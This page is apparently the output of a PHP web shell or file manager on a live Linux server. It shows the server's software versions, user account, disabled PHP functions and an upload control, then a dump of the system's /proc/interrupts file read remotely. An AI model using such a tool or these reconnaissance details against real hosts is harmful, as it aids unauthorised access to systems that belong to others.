HEX
Server: Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
System: Linux server.mediaphic.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User: jolievil (1372)
PHP: 7.3.33
Disabled: exec,passthru,shell_exec,system,show_source,mail,sendmail,popen,symlink,phpinfo
Upload Files
File: //proc/interrupts
           CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      
  0:         94          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC-edge      timer
  1:       1452          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC-edge      i8042
  8:          1          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC-edge      rtc0
  9:          1          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC-fasteoi   acpi
 12:          6          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC-edge      i8042
 16:         99          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC-fasteoi   ehci_hcd:usb1
 18:          0          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC-fasteoi   i801_smbus
 23:        168          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC-fasteoi   ehci_hcd:usb2
 25:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
 26:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
 28:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
 30:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
 31:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
 32:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
 34:          1          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      eno1
 35:        173          0          0          0          0 1242727520          0          0          0          0          0          0  IR-PCI-MSI-edge      eno1-TxRx-0
 36:        201          0          0          0          0          0 1209947296          0          0          0          0          0  IR-PCI-MSI-edge      eno1-TxRx-1
 37:        149          0          0          0          0          0          0 1255825252          0          0          0          0  IR-PCI-MSI-edge      eno1-TxRx-2
 38:        168          0          0          0          0          0          0          0 1243792499          0          0          0  IR-PCI-MSI-edge      eno1-TxRx-3
 39:        213          0          0          0          0          0          0          0          0 1249547889          0          0  IR-PCI-MSI-edge      eno1-TxRx-4
 40:        159          0          0          0          0          0          0          0          0          0 1224509299          0  IR-PCI-MSI-edge      eno1-TxRx-5
 41:        192          0          0          0          0          0          0          0          0          0          0 1373200870  IR-PCI-MSI-edge      eno1-TxRx-6
 42: 1240932838          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      eno1-TxRx-7
 43:      13750          0          0 3708070367          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      0000:00:1f.2
 45:          2          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      ioat-msix
 47:          2          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      ioat-msix
 48:          0          0          0          0          0          0          0          0          0          0          0          0  DMAR_MSI-edge      dmar0
 49:          2          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      ioat-msix
 50:          2          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      ioat-msix
 51:          2          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      ioat-msix
 52:          2          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      ioat-msix
 53:          2          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      ioat-msix
 54:          2          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      ioat-msix
NMI:     856441     855709     854930     888116     857262     861664     865749     874864     874702     849844     875089     876734   Non-maskable interrupts
LOC: 3371166897 2940374050 2894706891 3816021077 2974166405 3340644808 2899313863 2864427170 2854351061 2785645327 2834238334 3159048313   Local timer interrupts
SPU:          0          0          0          0          0          0          0          0          0          0          0          0   Spurious interrupts
PMI:     856441     855709     854930     888116     857262     861664     865749     874864     874702     849844     875089     876734   Performance monitoring interrupts
IWI:    6687794    4459760    4221527   10691035    4931283    6650169    5166100    4946453    4980207    5372864    4963093    6346464   IRQ work interrupts
RTR:          0          0          0          0          0          0          0          0          0          0          0          0   APIC ICR read retries
RES:  458282021  395371930  357775891  293755916  333417090  315473372  226559011  225279078  218694530  230738390  214229191  207291860   Rescheduling interrupts
CAL:     141019     175112     161935      50971     183085     155097     299926     310802     310550     242424     317173     307870   Function call interrupts
TLB:  146930905  135577149  135942068  138620438  136182551  145854299  126385416  121603055  122713761  126473513  122428013  124963808   TLB shootdowns
TRM:          0          0          0          0          0          0          0          0          0          0          0          0   Thermal event interrupts
THR:          0          0          0          0          0          0          0          0          0          0          0          0   Threshold APIC interrupts
DFR:          0          0          0          0          0          0          0          0          0          0          0          0   Deferred Error APIC interrupts
MCE:          0          0          0          0          0          0          0          0          0          0          0          0   Machine check exceptions
MCP:      52178      52178      52178      52178      52178      52178      52178      52178      52178      52178      52178      52178   Machine check polls
ERR:          0
MIS:          0
PIN:          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt notification event
NPI:          0          0          0          0          0          0          0          0          0          0          0          0   Nested posted-interrupt event
PIW:          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt wakeup event